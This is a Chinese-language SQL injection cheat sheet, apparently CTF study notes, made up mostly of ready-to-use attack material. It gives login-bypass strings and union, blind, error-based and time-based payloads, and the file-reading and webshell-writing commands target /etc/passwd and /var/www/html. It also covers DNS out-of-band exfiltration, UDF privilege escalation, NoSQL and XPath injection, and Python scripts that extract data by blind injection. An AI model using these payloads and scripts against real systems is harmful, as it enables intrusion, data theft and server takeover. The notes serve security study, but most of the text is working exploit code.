万能密码
1 | admin' -- |
手注
正常注入步骤(联合查询)
查库名->查表名->查列名(字段名)->查值(数据)
字段数量猜解
1
order by 4 --+
判断页面回显数据字段位置
1
union select 1,2,3,4,x... --+
数据库名
1
2
3
4
5select database()
select schema_name from information_schema.schemata;
-- MySQL8新特性(>8.0.21)
table information_schema.TABLESPACES_EXTENSIONS表名
1
union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database()
union查询
1
2
3
4
5UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* 列出所有用户自定义数据库中的表 */
-- MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* 列出当前数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';盲注
1
2
3
4AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
-- MySQL8新特性
and (table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>(BINARY('a'),'0')#报错
1
2AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
-- 在5.1.5版本中成功。
列名(字段名)
1
Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name) /*此处的表名为字符串型,也通过十六进制表示*/
union查询
1
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
盲注
1
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
报错
1
2
3
4-- 在5.1.5版本中成功
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
-- MySQL 5.1版本修复了
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
值查询
1
2
3
4Union select 1,2,column_name,4,xxx from (database_name.)table_name
-- MySQL8新特性
and (table flag limit 1,1)>(BINARY('a'))#
无回显
盲注
布尔盲注
使用场景:对真/假条件返回的内容很容易区分。
1
2
3
4
5
6
7(where | and) if(substr((select password from users where username='admin'),1,1)='a',1,0)
select * from users where username=nouser or length(database())>8
select * from users where username=nouser or ascii(substr(database(),1,1))<130
-- 通配符
select * from users where username='xxx' and passwd='-1' or passwd like '{}%'#时间盲注
依赖于通过页面返回的延迟时间来判断条件是否正确。
通常可利用的产生时间延迟的函数有:sleep()、benchmark(),还有许多进行复杂运算的函数也可以当做延迟的判断标准、笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟等方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17-- sleep()
(where | and) if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)
select * from users where username=$username (and | or) if(length(database())>8,sleep(3),1)
-- benchmark()
or benchmark(5000000,md5('test'))
or if(length(database())>5,benchmark(1500000,md5('test')),1)
-- pg_sleep()
(and | or) (case when (select substr(password,1,1) from users)='a' then pg_sleep(5) else pg_sleep(0) end)
and (select case when(substr((select password from users where username='admin'),1,1)='a') then (select 'roarctf' from pg_sleep(3)) else '1' end)='roarctf'
-- 笛卡尔积 heavy query
select * from users where id=1 and 1>(select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C);
select * from users where id=1 and if(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
报错注入
通过特殊函数的错误使用使其参数被页面输出。
前提:服务器开启报错信息返回,也就是发生错误时返回报错信息。
常见的利用函数有:
exp()、floor()+rand()、updatexml()、extractvalue()
等。1
2
3
4
5
6(where|and|or) exp(~(select * from(select user())a));
(where|and|or) pow(~(select * from(select user())a),9999);
(where|and|or) updatexml(1,concat(0x7e,(select user()),0x7e),1);
(where|and|or) extractvalue(1,concat(0x7e,(select user()),0x7e));
(where|and|or) (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)));
(where|and|or) (select count(*) from information_schema.tables group by concat((select user()),0x7e,ceil(rand(0)*2)));limit注入
使用
PROCEDURE
函数进行注入,ANALYSE支持两个参数。1
2
3select id from users order by id desc limit 0,1 procedure analyse(1,1);
select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
select id from users order by id desc limit 0,1 into outfile "/var/www/html/1.php" LINES TERMINATED BY 0x16进制文件update注入
1
2
3
4#盲注
update users set username = '0'|if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1) where id=15;
update users set username = '0' | (substr(user(),1,1) regexp 0x5e5b6d2d7a5d) where id=14;
update users set id = '1' where username like 'f%' || sleep(5);insert注入
1
2
3#盲注
insert into users values (16,'K0rz3n','0'| if((substr(user(),1,1) regexp 0x5e5b6d2d7a5d), sleep(5), 1));
insert into users values (15,'K0rz3n','0'| (substr(user(),1,1) regexp 0x5e5b6d2d7a5d));order by注入
1
2
3
4
5#报错注入
select * from users order by updatexml(1,concat(0x7e,(select%20user()),0x7e),1);
#盲注
select * from users order by id ^(select(select version()) regexp '^5');group by注入
1
2#盲注
select * from users group by 1 having substr((select database()),1,1)='c'
宽字节注入
国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes
等对特殊字符进行转移的绕过。反斜杠 \
的十六进制为 %5c
,在你输入 %bf%27
时,函数遇到单引号自动转移加入 \
,此时变为 %bf%5c%27
,%bf%5c
在 GBK 中变为一个宽字符「縗」。%bf
那个位置可以是 %81-%fe
中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。
GET方式:利用URLencode ?id=1%df'||1={payload}%23
POST方式:利用UTF-16或UTF-32或中文 ?id=1我'||1={payload}#
堆叠注入
由于分号;
为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他恶意语句,如RENAME
、DROP
等。
1 | 1;show databases;# |
二次注入
攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
现在通常Web应用程序大多都会进行参数过滤,来防止注入。如果某处使用了urldecode()或者 rawurldecode()函数,则会导致二次解码生成单引号二引发注入,即二次注入。
Web应用程序通常使用addslashes() 、mysql_real_escape_string()、mysql_escape_string()函数或者开启GPC来防止注入,也就是给单引号(‘’)、双引号(“”)、反斜杠()和NULL加上反斜杠转义。
addslashes函数虽然在过滤之后会添加 “\” 进行转义,但是 “\” 并不会被带到数据库中
文件操作
读文件
SELECT LOAD_FILE('/etc/passwd')
SELECT LOAD_FILE(0x2f666c6167)
写文件
SELECT '<?php phpinfo();?>' into outfile '/var/www/html/phpinfo.php'
select version() into outfile "/var/www/html/test.php" LINES TERMINATED BY 0x16进制文件
慢查询注入
1 | set global slow_query_log=1; |
Rogue Mysql Server
搭建恶意mysql服务器读取文件。
https://github.com/allyshka/Rogue-MySql-Server
Quine
Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。
1 | SELECT REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")'); |
绕过(bypass)
空格
- 多层括号嵌套
- 改用+号
- 使用注释代替(/*注释内容*/、/*! MYSQL专属*/)
and/or
后面可以跟上偶数个!、~
可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略%09, %0a, %0b, %0c, %0d, %a0
等部分不可见字符可也代替空格
单双引号
- 需要跳出单引号的情况:尝试是否存在编码问题而产生的SQL注入。
- 不需要跳出单引号的情况:字符串可用16进制表示、也可通过进制转换函数表示成其他进制。
1 | -- hex 编码 |
逗号
- 采用
substr((database())from({})for(1))
的形式 - 采用join:
union select * from ((select 1)a join (select 2)b join (select 3)c);
等号
like
- 用
regexp
或者in
<>
分号
- 换行
%0a
- 改变输入结束符:
delimiter
and / or
- 双写
anandd、oorr
- 使用运算符代替
&&、||
- 直接拼接
=
号,如:?id=1=(condition)
- 其他方法,如:
?id=1^(condition)
、?id=1)xor(condition)
- 无法使用
information
、performance
:mysql.innodb_table_stats
查表名
union
- 盲注:
'and(select pass from users limit 1)='secret
select
有文件读取权限
1
2' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+
length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt获取列名
1
2
3' and 列名 is not null#
' procedure analyse()#
'and substr(pass,1,1)='a /*使用substr来做过滤条件*/handler语句代替select查询
1
2
3
4
5
6
7/*通过handler语句查询users表的内容*/
handler users open as yunensec; /*指定数据表进行载入并将返回句柄重命名*/
handler yunensec read first; /*读取指定表/句柄的首行数据*/
handler yunensec read next; /*读取指定表/句柄的下一行数据*/
handler yunensec read next; /*读取指定表/句柄的下一行数据*/
...
handler yunensec close; /*关闭句柄*/
limit
1 | 'and(select pass from users where id=1)='a |
where
join/left join/right join...on...
information_schema
- 替代表:
sys.x$schema_flattened_keys
、sys.schema_table_statistics
ascii
ascii()
=>ord()
substr
substr()
=>mid()
left()
/right()
as
database()
=>schema()
if
case when
order by
group by
其他关键字
大小写绕过
双写绕过
使用同义函数/语句代替,如if函数可用
case when condition then 1 else 0 end
语句代替。使用
CONCAT()
时,任何个参数为 null,将返回 null,推荐使用CONCAT_WS()
。CONCAT_WS()
函数第一个参数表示用哪个字符间隔所查询的结果。1
2
3
4SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
括号
- order by 大小比较盲注
数字
用
true
换1
1
2def cal(x):
return ('('+'(true)+'*x)[:-1]+')'替换表
代替字符 | 数 | 代替字符 | 数 | 代替字符 | 数 | 数 | 代替字符 |
---|---|---|---|---|---|---|---|
false、!pi() | 0 | ceil(pi()*pi()) | 10 | A | ceil((pi()+pi())*pi()) | 20 | K |
true、!(!pi()) | 1 | ceil(pi()*pi())+true | 11 | B | ceil(ceil(pi())*version()) | 21 | L |
true+true | 2 | ceil(pi()+pi()+version()) | 12 | C | ceil(pi()*ceil(pi()+pi())) | 22 | M |
floor(pi())、~~pi() | 3 | floor(pi()*pi()+pi()) | 13 | D | ceil((pi()+ceil(pi()))*pi()) | 23 | N |
ceil(pi()) | 4 | ceil(pi()*pi()+pi()) | 14 | E | ceil(pi())*ceil(version()) | 24 | O |
floor(version()) //注意版本 | 5 | ceil(pi()*pi()+version()) | 15 | F | floor(pi()*(version()+pi())) | 25 | P |
ceil(version()) | 6 | floor(pi()*version()) | 16 | G | floor(version()*version()) | 26 | Q |
ceil(pi()+pi()) | 7 | ceil(pi()*version()) | 17 | H | ceil(version()*version()) | 27 | R |
floor(version()+pi()) | 8 | ceil(pi()*version())+true | 18 | I | ceil(pi()*pi()*pi()-pi()) | 28 | S |
floor(pi()*pi()) | 9 | floor((pi()+pi())*pi()) | 19 | J | floor(pi()*pi()*floor(pi())) | 29 | T |
mysql系统库
1 | #查询所有非系统自带数据库、表、列 |
sys系统库
1 | #查询所有的库: |
无列名注入(or / column 被过滤)
1 | select group_concat(`2`) from (select 1,2,3 union select * from user)x; |
同步表数据 - 主从复制
查看数据库版本:select version();
在自己vps上起一个相同版本的mariadb,修改默认配置文件 vim /etc/mysql/my.cnf
允许远程访问并启
用二进制日志:
1 | server-id = 1 |
service mysql restart
自己的vps作为主,题目环境作为从。主服务器执行:
1 | CREATE USER 'atest'@'%' IDENTIFIED BY 'testtest'; |
使用 select database(); show tables; desc game;
等查询命令查看从服务器上的表结构,将从服务器上的数据库结构一比一复刻到主服务器上:
1 | CREATE DATABASE IF NOT EXISTS game_data; |
在主服务器mysql中执行:show master status;
记录下来 File和 Position:mysql-bin.000001 1376
在从服务器(题目环境)执行:
CHANGE MASTER TO MASTER_HOST='主服务器ip', MASTER_USER='atest', MASTER_PASSWORD='testtest', MASTER_LOG_FILE='mariadb-bin.000001(记录的值)', MASTER_LOG_POS=1365(记录的值);
显示下面这个表示成功连接上:
1 | start slave; |
主服务器中执行:INSERT INTO game ( round , choice ) VALUES ('1', 'R'), ('2', 'R'),('3', 'R'), ('4', 'R'),('5', 'R'), ('6', 'R'),('7','R'), ('8', 'R'),('9', 'R'), ('10', 'R');
插入从服务器表数据成功。
参考:SYCTF 2023 - Confronting robots
远程连接
mysql远程连接中可以执行命令(system
关键字)。
system (!) Execute a system shell command.
参考文
DNS带外注入(OOB)
out-of-band带外数据(OOB)与inband相反,它是一种通过其他传输方式来窃取数据的技术(例如利用DNS解析协议和电子邮件)。OOB技术通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。OOB攻击的成功基于出口防火墙规则,即是否允许来自易受攻击的系统和外围防火墙的出站请求。而从域名服务器(DNS)中提取数据,则被认为是最隐蔽有效的方法。
利用原理:
利用条件:
需要Windows环境
1、DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC
2、Linux没有UNC路径,所以当处于Linux环境,不能使用该方式获取数据
工具:
1 | #secure_file_priv指定文件夹或为空(没有设置)(mysql>5.5.53默认null,禁用导入导出) |
UDF
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。当我们有读取和写入权限以后,我们就可以尝试使用UDF提权的方法,从数据库的root权限提升到系统的管理员权限。
参考:
1 | show variables like '%plugin%'; |
1 | #参考脚本 |
SQLite3
内置表:
select name,sql from sqlite_master
select group_concat(sql) from sqlite_master
NoSQL
MongoDB
万能密码:{"username":{"$ne":1},"password": {"$ne":1}}
XPath
XPath 即为 XML 路径语言,是 W3C XSLT 标准的主要元素,它是一种用来确定 XML(标准通用标记语言的子集)文档中某部分位置的语言。
Xpath查询语句:
$query="user/username[@name='".$user."']";
- 注入点:URL、表单或其它信息上附带恶意的 XPath 查询代码
- 注入漏洞验证:输入
id=1'
、`id=-1
看页面是否返回报错信息 - 注入万能公式:
id=1' or 1=1 or ''='
- 万能访问xml文档所有节点的payload:
']|//*|//*['
常用脚本
布尔盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import string
import requests
dic='{}-_'+string.digits+string.ascii_lowercase
url='xxxxxxx'
now=''
for i in range(1,50):
flag=0
for j in dic:
payload='''xxxxxxx'''.format()
#print(payload)
data={'username':payload,'password':'xxxxx'}
r=requests.post(url,data=data)
#print(r.text)
if 'xxx' in r.text:
now+=j
print(now)
flag=1
break
if flag==0:
break1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34import requests
url = "xxx"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr((select(database())),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
# payload = f'if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
data = {
'id': f"100')||{payload}||('0"
}
r = requests.get(url,params=data)
# r = requests.post(url,data=data)
if "xxx" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37# Mysql8新特性
import requests
def bind_sql():
flag = ""
dic = "~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/-,+*)(&%$#!"
for i in range(1000):
f = flag
for j in dic:
_ = flag + j
#payload = "0||(binary'{}','',3,4)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/0,1)".format(_)
#payload = "0||('cnss',binary'{}',3,4)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1,1)".format(_)
#payload = "0||('2','lisi',binary'{}')<(table/**/users/**/limit/**/1,1)".format(_)
payload = "0||('8',binary'{}')<(table/**/cn55/**/limit/**/7,1)".format(_)
data = {
"id": payload
}
r = requests.get(url=url, params=data)
# r = requests.post(url, data=data)
print(payload)
if 'xxx' in r.text:
if j == '~':
flag = flag[:-1] + chr(ord(flag[-1])+1)
print(flag)
exit()
flag += j
print(flag)
break
if flag == f:
break
return flag
if __name__ == '__main__':
# input url
url = 'http://124.221.34.13:55553/'
result = bind_sql()
print(result)
时间盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23import requests
import string
import time
dic='{}-_,'+string.ascii_lowercase+string.digits
url='xxxxxx'
now=''
for i in range(1,50):
flag=0
for j in dic:
a=time.time()
payload='''xxxxxx'''.format()
data={'ip':payload,"debug":0}
r=requests.post(url,data=data)
b=time.time()
if b-a>1:
now+=j
flag=1
print(now)
break
if flag==0:
break1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34import requests
url = "http://xxx/?id=1%22and%20"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema="yyy")),{i},1))>{mid},sleep(0.6),0)%23'
# payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_schema="yyy")),{i},1))>{mid},sleep(0.6),0)%23'
payload = f'if(ascii(substr((select/**/group_concat(xxx)from(yyy.zzz)),{i},1))>{mid},sleep(0.6),0)%23'
try:
# data = {
# 'uname':f"admin')and {payload}#",
# 'passwd': '1'
# }
r = requests.get(url + payload,timeout=0.5)
# r = requests.post(url, data=data, timeout=0.5)
tail = mid
except:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)